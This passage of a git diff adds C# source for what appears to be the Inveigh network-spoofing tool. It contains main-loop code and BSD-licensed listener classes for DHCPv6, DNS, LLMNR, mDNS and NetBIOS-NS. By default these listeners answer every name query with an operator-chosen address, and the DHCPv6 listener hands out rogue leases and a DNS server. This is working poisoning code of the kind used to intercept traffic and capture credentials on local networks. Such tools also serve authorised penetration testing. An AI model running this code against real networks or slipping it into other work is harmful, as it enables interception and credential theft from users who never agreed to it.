+ throw new ArgumentException(paramName: argument, message: "Invalid Parameter");
+ break;
+ }
+
+ }
+ catch (Exception ex)
+ {
+
+ if (ex.Message.Contains("Index was outside the bounds of the array"))
+ {
+ Console.WriteLine("{0} is missing a value", argument);
+ }
+ else
+ {
+ Console.WriteLine("{0} error - {1}", argument, ex.Message);
+ }
+
+ Environment.Exit(0);
+ }
+
+ }
+
+ }
+
+ Arguments.ValidateArguments();
+ Arguments.ParseArguments();
+ Control.ImportSession();
+ Output.StartupOutput();
+ Control.StartThreads();
+ commandHistoryList.Add("");
+
+ while (isRunning)
+ {
+
+ try
+ {
+ Output.OutputLoop();
+
+ if (isRunning)
+ {
+ Shell.ConsoleLoop();
+ }
+
+ }
+ catch (Exception ex)
+ {
+ Console.WriteLine(outputList.Count);
+ outputList.Add(String.Format("[-] [{0}] Console error detected - {1}", DateTime.Now.ToString("s"), ex.ToString()));
+ }
+
+ }
+
+ Environment.Exit(0);
+ }
+
+ }
+
+} \ No newline at end of file
diff --git a/Inveigh/Protocols/LICENSE b/Inveigh/Protocols/LICENSE
new file mode 100644
index 0000000..cea2f49
--- /dev/null
+++ b/Inveigh/Protocols/LICENSE
@@ -0,0 +1,29 @@
+BSD 3-Clause License
+
+Copyright (c) 2021, Kevin Robertson
+All rights reserved.
+
+Redistribution and use in source and binary forms, with or without
+modification, are permitted provided that the following conditions are met:
+
+1. Redistributions of source code must retain the above copyright notice, this
+ list of conditions and the following disclaimer.
+
+2. Redistributions in binary form must reproduce the above copyright notice,
+ this list of conditions and the following disclaimer in the documentation
+ and/or other materials provided with the distribution.
+
+3. Neither the name of the copyright holder nor the names of its
+ contributors may be used to endorse or promote products derived from
+ this software without specific prior written permission.
+
+THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
diff --git a/Inveigh/Protocols/Quiddity/Listeners/DHCPv6Listener.cs b/Inveigh/Protocols/Quiddity/Listeners/DHCPv6Listener.cs
new file mode 100644
index 0000000..04cf106
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Listeners/DHCPv6Listener.cs
@@ -0,0 +1,177 @@
+/*
+ * BSD 3-Clause License
+ *
+ * Copyright (c) 2021, Kevin Robertson
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice, this
+ * list of conditions and the following disclaimer.
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ *
+ * 3. Neither the name of the copyright holder nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+using Quiddity.DHCPv6;
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Net;
+using System.Net.Sockets;
+using System.Text;
+
+namespace Quiddity
+{
+ public class DHCPv6Listener
+ {
+ public string DNSSuffix { get; set; }
+ public uint Lifetime { get; set; }
+ public int Prefix { get; set; }
+ public int Index { get; set; }
+
+ public DHCPv6Listener()
+ {
+ this.Index = 1;
+ this.DNSSuffix = "";
+ this.Lifetime = 300;
+ this.Prefix = (new Random()).Next(1, 9999);
+ }
+
+ public DHCPv6Listener(uint lifetime, string dnsSuffix)
+ {
+ this.Index = 1;
+ this.DNSSuffix = dnsSuffix;
+ this.Lifetime = lifetime;
+ this.Prefix = (new Random()).Next(1, 9999);
+ }
+
+ public void Start(IPAddress ipAddress, string mac, string dnsIPv6)
+ {
+ UDPListener listener = new UDPListener(AddressFamily.InterNetworkV6);
+ IPEndPoint ipEndPoint = new IPEndPoint(ipAddress, 547);
+ listener.JoinMulticastGroup(IPAddress.Parse("ff02::1:2"));
+ listener.Client.Bind(ipEndPoint);
+
+ while (true)
+ {
+
+ try
+ {
+ byte[] receiveBuffer = listener.Receive(ref ipEndPoint);
+ ProcessRequest(receiveBuffer, listener, ipEndPoint, mac, dnsIPv6);
+ }
+ catch (Exception ex)
+ {
+ Console.WriteLine(ex);
+ }
+
+ }
+
+ }
+
+ protected virtual void ProcessRequest(byte[] data, UDPListener udpListener, IPEndPoint ipEndPoint, string listenerMAC, string dnsIPv6)
+ {
+ string clientIP = ipEndPoint.Address.ToString();
+ DHCPv6Packet packet = new DHCPv6Packet(data);
+
+ if (packet.Message?.MsgType == 1 || packet.Message?.MsgType == 3 || packet.Message?.MsgType == 5)
+ {
+ bool isMicrosoft = false;
+
+ if (packet.Option16?.EnterpriseNumber == 311)
+ {
+ isMicrosoft = true;
+ }
+
+ byte msgType = 0;
+ string leaseIP = "";
+
+ switch (packet.Message.MsgType)
+ {
+ case 1:
+ msgType = 2;
+
+ break;
+
+ case 3:
+ {
+ byte[] renewIP = new DHCPv6Option5(packet.Option3.IANAOptions).IPv6Address;
+ leaseIP = new IPAddress(renewIP).ToString();
+ msgType = 7;
+ }
+ break;
+
+ case 5:
+ {
+ byte[] renewIP = new DHCPv6Option5(packet.Option3.IANAOptions).IPv6Address;
+ leaseIP = new IPAddress(renewIP).ToString();
+ msgType = 7;
+ }
+ break;
+ }
+
+ byte[] clientMACData = new DHCPv6DUIDLLT(packet.Option1.DUID).LinkLayerAddress;
+ string clientMAC = BitConverter.ToString(clientMACData).Replace("-", ":");
+ string clientHostName = "";
+
+ if (!String.IsNullOrEmpty(packet.Option39?.DomainName))
+ {
+ clientHostName = packet.Option39.DomainName;
+ }
+
+ if (Check(clientMAC, clientHostName, listenerMAC, isMicrosoft, out string message))
+ {
+
+ if (msgType == 2)
+ {
+ leaseIP = "fe80::" + this.Prefix + ":" + this.Index;
+ this.Index++;
+ }
+
+ byte[] buffer = new DHCPv6Packet().GetBytes(msgType, leaseIP, listenerMAC, dnsIPv6, this.DNSSuffix, this.Lifetime, packet);
+ SendTo(buffer, udpListener, ipEndPoint);
+ }
+
+ Output(packet.Message.MsgType, leaseIP, clientIP, clientMAC, clientHostName, message);
+ }
+
+ }
+
+ public virtual bool Check(string clientMAC, string clientHostName, string listenerMAC, bool isMicrosoft, out string message)
+ {
+ message = "response sent";
+ return true;
+ }
+
+ protected virtual void SendTo(byte[] data, UDPListener udpListener, IPEndPoint ipEndPoint)
+ {
+ udpListener.Client.SendTo(data, ipEndPoint);
+ }
+
+ protected virtual void Output(int msgType, string leaseIP, string clientIP, string clientMAC, string clientHostName, string message)
+ {
+ }
+
+ protected virtual void OutputError(string message)
+ {
+ }
+
+ }
+}
diff --git a/Inveigh/Protocols/Quiddity/Listeners/DNSListener.cs b/Inveigh/Protocols/Quiddity/Listeners/DNSListener.cs
new file mode 100644
index 0000000..dea3004
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Listeners/DNSListener.cs
@@ -0,0 +1,151 @@
+/*
+ * BSD 3-Clause License
+ *
+ * Copyright (c) 2021, Kevin Robertson
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice, this
+ * list of conditions and the following disclaimer.
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ *
+ * 3. Neither the name of the copyright holder nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+using Quiddity.DNS;
+using System;
+using System.Net;
+using System.Net.Sockets;
+
+namespace Quiddity
+{
+ public class DNSListener
+ {
+ public uint Serial { get; set; }
+ public uint TTL { get; set; }
+ public string Host { get; set; }
+ public ushort Priority { get; set; }
+ public ushort Weight { get; set; }
+
+ public DNSListener()
+ {
+ this.TTL = 30;
+ }
+
+ public DNSListener(uint ttl)
+ {
+ this.TTL = ttl;
+ }
+
+ public DNSListener(uint ttl, string host)
+ {
+ this.TTL = ttl;
+ this.Host = host;
+ this.Priority = 0;
+ this.Weight = 100;
+ }
+
+ public void Start(IPAddress ipAddress, string replyIP, string replyIPv6)
+ {
+ UDPListener listener = new UDPListener(AddressFamily.InterNetwork);
+ IPEndPoint ipEndPoint = new IPEndPoint(ipAddress, 53);
+
+ if (String.Equals(ipAddress.AddressFamily.ToString(), "InterNetworkV6"))
+ {
+ listener = new UDPListener(AddressFamily.InterNetworkV6);
+ }
+
+ listener.Client.Bind(ipEndPoint);
+
+ while (true)
+ {
+
+ try
+ {
+ byte[] receiveBuffer = listener.Receive(ref ipEndPoint);
+ ProcessRequest(receiveBuffer, listener, ipEndPoint, replyIP, replyIPv6);
+ }
+ catch (Exception ex)
+ {
+ OutputError(ex);
+ }
+
+ }
+
+ }
+
+ protected virtual void ProcessRequest(byte[] data, UDPListener udpListener, IPEndPoint ipEndPoint, string replyIP, string replyIPv6)
+ {
+ string clientIP = ipEndPoint.Address.ToString();
+
+ DNSPacket packet = new DNSPacket(data)
+ {
+ Host = this.Host,
+ TTL = this.TTL
+ };
+
+ if (packet.Header.IsQuery())
+ {
+
+ if (Check(packet.Question.Name, packet.Question.Type, clientIP, out string message))
+ {
+ byte[] buffer;
+ buffer = packet.GetBytes(this.TTL, this.Serial, replyIP, replyIPv6);
+ SendTo(buffer, udpListener, ipEndPoint);
+ }
+
+ Output("DNS", clientIP, packet.Question.Name, packet.Question.Type, message);
+ }
+
+ }
+
+ public virtual bool Check(string name, string type, string clientIP, out string message)
+ {
+ message = "response sent";
+ return true;
+ }
+
+ public virtual bool Check(string name, string question, string type, string clientIP, out string message)
+ {
+ message = "response sent";
+ return true;
+ }
+
+ protected virtual void SendTo(byte[] data, UDPListener udpListener, IPEndPoint ipEndPoint)
+ {
+ udpListener.Client.SendTo(data, ipEndPoint);
+ }
+
+ protected virtual void Output(string protocol, string clientIP, string name, string type, string message)
+ {
+
+ }
+
+ protected virtual void Output(string protocol, string clientIP, string name, string question, string type, string message)
+ {
+
+ }
+
+ protected virtual void OutputError(Exception ex)
+ {
+
+ }
+ }
+}
diff --git a/Inveigh/Protocols/Quiddity/Listeners/LLMNRListener.cs b/Inveigh/Protocols/Quiddity/Listeners/LLMNRListener.cs
new file mode 100644
index 0000000..a16d513
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Listeners/LLMNRListener.cs
@@ -0,0 +1,101 @@
+/*
+ * BSD 3-Clause License
+ *
+ * Copyright (c) 2021, Kevin Robertson
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice, this
+ * list of conditions and the following disclaimer.
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ *
+ * 3. Neither the name of the copyright holder nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+using Quiddity.LLMNR;
+using System;
+using System.Net;
+using System.Net.Sockets;
+
+namespace Quiddity
+{
+ public class LLMNRListener : DNSListener
+ {
+
+ public LLMNRListener()
+ {
+ this.TTL = 300;
+ }
+
+ public new void Start(IPAddress ipAddress, string replyIP, string replyIPv6)
+ {
+ UDPListener listener = new UDPListener(AddressFamily.InterNetwork);
+ IPEndPoint ipEndPoint = new IPEndPoint(ipAddress, 5355);
+
+ if (String.Equals(ipAddress.AddressFamily.ToString(), "InterNetwork"))
+ {
+ listener.JoinMulticastGroup(IPAddress.Parse("224.0.0.252"));
+ }
+ else
+ {
+ listener = new UDPListener(AddressFamily.InterNetworkV6);
+ listener.JoinMulticastGroup(IPAddress.Parse("ff02::1:3"));
+ }
+
+ listener.Client.Bind(ipEndPoint);
+
+ while (true)
+ {
+
+ try
+ {
+ byte[] receiveBuffer = listener.Receive(ref ipEndPoint);
+ ProcessRequest(receiveBuffer, listener, ipEndPoint, replyIP, replyIPv6);
+ }
+ catch (Exception ex)
+ {
+ OutputError(ex);
+ }
+
+ }
+
+ }
+
+ protected override void ProcessRequest(byte[] data, UDPListener udpListener, IPEndPoint ipEndPoint, string replyIP, string replyIPv6)
+ {
+ string clientIP = ipEndPoint.Address.ToString();
+ LLMNRPacket packet = new LLMNRPacket(data);
+
+ if (packet.Header.IsQuery())
+ {
+
+ if (Check(packet.Question.Name, packet.Question.Type, clientIP, out string message))
+ {
+ byte[] buffer = packet.GetBytes(this.TTL, replyIP, replyIPv6);
+ SendTo(buffer, udpListener, ipEndPoint);
+ }
+
+ Output("LLMNR", clientIP, packet.Question.Name, packet.Question.Type, message);
+ }
+
+ }
+
+ }
+}
diff --git a/Inveigh/Protocols/Quiddity/Listeners/MDNSListener.cs b/Inveigh/Protocols/Quiddity/Listeners/MDNSListener.cs
new file mode 100644
index 0000000..973329b
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Listeners/MDNSListener.cs
@@ -0,0 +1,117 @@
+/*
+ * BSD 3-Clause License
+ *
+ * Copyright (c) 2021, Kevin Robertson
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice, this
+ * list of conditions and the following disclaimer.
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ *
+ * 3. Neither the name of the copyright holder nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+using Quiddity.MDNS;
+using System;
+using System.Net;
+using System.Net.Sockets;
+
+namespace Quiddity
+{
+ public class MDNSListener : DNSListener
+ {
+ public bool UnicastOnly { get; set; }
+
+ public MDNSListener()
+ {
+ this.TTL = 120;
+ }
+
+ public MDNSListener(uint ttl, bool unicastOnly)
+ {
+ this.TTL = ttl;
+ this.UnicastOnly = unicastOnly;
+ }
+
+ public new void Start(IPAddress ipAddress, string replyIP, string replyIPv6)
+ {
+ UDPListener listener = new UDPListener(AddressFamily.InterNetwork);
+ IPEndPoint ipEndPoint = new IPEndPoint(ipAddress, 5353);
+
+ if (string.Equals(ipAddress.AddressFamily.ToString(), "InterNetwork"))
+ {
+ listener.JoinMulticastGroup(IPAddress.Parse("224.0.0.251"), ipAddress);
+ }
+ else
+ {
+ listener = new UDPListener(AddressFamily.InterNetworkV6);
+ listener.JoinMulticastGroup(IPAddress.Parse("ff02::fb"));
+ }
+
+ listener.Client.Bind(ipEndPoint);
+
+ while (true)
+ {
+
+ try
+ {
+ byte[] receiveBuffer = listener.Receive(ref ipEndPoint);
+ ProcessRequest(receiveBuffer, listener, ipEndPoint, replyIP, replyIPv6);
+ }
+ catch (Exception ex)
+ {
+ OutputError(ex);
+ }
+
+ }
+
+ }
+
+ protected override void ProcessRequest(byte[] data, UDPListener udpListener, IPEndPoint ipEndPoint, string replyIP, string replyIPv6)
+ {
+ string clientIP = ipEndPoint.Address.ToString();
+ MDNSPacket packet = new MDNSPacket(data);
+
+ if (packet.Header.IsQuery())
+ {
+
+ if (Check(packet.Question.Name, packet.Question.QuestionType, packet.Question.Type, clientIP, out string message))
+ {
+
+ if (packet.Question.QuestionType.Equals("QM") && !this.UnicastOnly && string.Equals(ipEndPoint.Address.AddressFamily.ToString(), "InterNetwork"))
+ {
+ ipEndPoint.Address = IPAddress.Parse("224.0.0.251");
+ }
+ else if (packet.Question.QuestionType.Equals("QM") && !this.UnicastOnly && string.Equals(ipEndPoint.Address.AddressFamily.ToString(), "InterNetworkV6"))
+ {
+ ipEndPoint.Address = IPAddress.Parse("ff02::fb");
+ }
+
+ byte[] buffer = packet.GetBytes(this.TTL, replyIP, replyIPv6);
+ SendTo(buffer, udpListener, ipEndPoint);
+ }
+
+ Output("mDNS", clientIP, packet.Question.Name, packet.Question.QuestionType, packet.Question.Type, message);
+ }
+
+ }
+ }
+}
diff --git a/Inveigh/Protocols/Quiddity/Listeners/NetBIOSNSListener.cs b/Inveigh/Protocols/Quiddity/Listeners/NetBIOSNSListener.cs
new file mode 100644
index 0000000..f2754d6
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Listeners/NetBIOSNSListener.cs
@@ -0,0 +1,95 @@
+/*
+ * BSD 3-Clause License
+ *
+ * Copyright (c) 2021, Kevin Robertson
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice, this
+ * list of conditions and the following disclaimer.
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ *
+ * 3. Neither the name of the copyright holder nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+using Quiddity.NetBIOS;
+using System;
+using System.Net;
+using System.Net.Sockets;
+
+namespace Quiddity
+{
+ public class NetBIOSNSListener : DNSListener
+ {
+ public NetBIOSNSListener()
+ {
+ this.TTL = 165;
+ }
+
+ public NetBIOSNSListener(uint ttl)
+ {
+ this.TTL = ttl;
+ }
+
+ public void Start(IPAddress ipAddress, string replyIP)
+ {
+ UDPListener listener = new UDPListener(AddressFamily.InterNetwork);
+ IPEndPoint ipEndPoint = new IPEndPoint(ipAddress, 137);
+
+ listener.Client.Bind(ipEndPoint);
+
+ while (true)
+ {
+
+ try
+ {
+ byte[] receiveBuffer = listener.Receive(ref ipEndPoint);
+ ProcessRequest(receiveBuffer, listener, ipEndPoint, replyIP);
+ }
+ catch (Exception ex)
+ {
+ OutputError(ex);
+ }
+
+ }
+
+ }
+
+ protected void ProcessRequest(byte[] data, UDPListener udpListener, IPEndPoint ipEndPoint, string replyIP)
+ {
+ string clientIP = ipEndPoint.Address.ToString();
+ NetBIOSNSPacket packet = new NetBIOSNSPacket(data);
+
+ if (packet.Header.IsQuery())
+ {
+
+ if (Check(packet.Question.Name, packet.Question.Type, clientIP, out string message))
+ {
+ byte[] buffer = packet.GetBytes(this.TTL, replyIP);
+ SendTo(buffer, udpListener, ipEndPoint);
+ }
+
+ Output("NBNS", clientIP, packet.Question.Name, packet.Question.Type, message);
+ }
+
+ }
+
+ }
+}
diff --git a/Inveigh/Protocols/Quiddity/Listeners/TCPListener.cs b/Inveigh/Protocols/Quiddity/Listeners/TCPListener.cs
new file mode 100644
index 0000000..44af085
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Listeners/TCPListener.cs
@@ -0,0 +1,48 @@
+/*
+ * BSD 3-Clause License
+ *
+ * Copyright (c) 2021, Kevin Robertson
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice, this
+ * list of conditions and the following disclaimer.
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ *
+ * 3. Neither the name of the copyright holder nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+using System.Net;
+using System.Net.Sockets;
+
+namespace Quiddity
+{
+ public class TCPListener : TcpListener
+ {
+ public TCPListener(IPAddress ipAddress, int port) : base(ipAddress, port)
+ {
+ this.Server.ExclusiveAddressUse = false;
+ this.ExclusiveAddressUse = false;
+ this.Server.SetSocketOption(SocketOptionLevel.Socket, SocketOptionName.ReuseAddress, true);
+ }
+
+ }
+
+}
diff --git a/Inveigh/Protocols/Quiddity/Listeners/UDPListener.cs b/Inveigh/Protocols/Quiddity/Listeners/UDPListener.cs
new file mode 100644
index 0000000..d0a2f49
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Listeners/UDPListener.cs
@@ -0,0 +1,58 @@
+/*
+ * BSD 3-Clause License
+ *
+ * Copyright (c) 2021, Kevin Robertson
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice, this
+ * list of conditions and the following disclaimer.
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ *
+ * 3. Neither the name of the copyright holder nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+using System.Net;
+using System.Net.Sockets;
+
+namespace Quiddity
+{
+ public class UDPListener : UdpClient
+ {
+
+ public UDPListener(AddressFamily addressFamily) : base(addressFamily)
+ {
+ this.ExclusiveAddressUse = false;
+ this.Client.SetSocketOption(SocketOptionLevel.Socket, SocketOptionName.ReuseAddress, true);
+ const int SIO_UDP_CONNRESET = -1744830452;
+
+#if NETFRAMEWORK
+ this.Client.IOControl((IOControlCode)SIO_UDP_CONNRESET, new byte[] { 0, 0, 0, 0 }, null);
+#else
+ if (System.OperatingSystem.IsWindows())
+ {
